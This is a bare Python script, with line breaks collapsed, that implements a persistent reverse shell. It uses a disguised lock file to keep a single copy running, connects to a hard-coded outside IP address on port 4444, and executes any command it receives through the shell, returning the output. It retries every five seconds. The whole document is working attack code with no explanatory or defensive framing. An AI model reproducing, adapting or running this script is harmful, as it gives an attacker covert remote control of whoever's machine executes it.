import socket, subprocess, time, sys, os, fcntl LOCK_FILE = "/tmp/.sys_core.lock" try: fp = open(LOCK_FILE, 'w') fcntl.flock(fp, fcntl.LOCK_EX | fcntl.LOCK_NB) except IOError: sys.exit(0) SERVER = "84.8.219.196" PORT = 4444 while True: try: s = socket.socket() s.connect((SERVER, PORT)) while True: cmd = s.recv(1024).decode() if not cmd or cmd.lower() in ["q", "quit", "x", "exit"]: break try: res = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) except Exception as e: res = str(e).encode() if len(res) == 0: res = b"[+] Executed\n" s.send(res) s.close() except: time.sleep(5)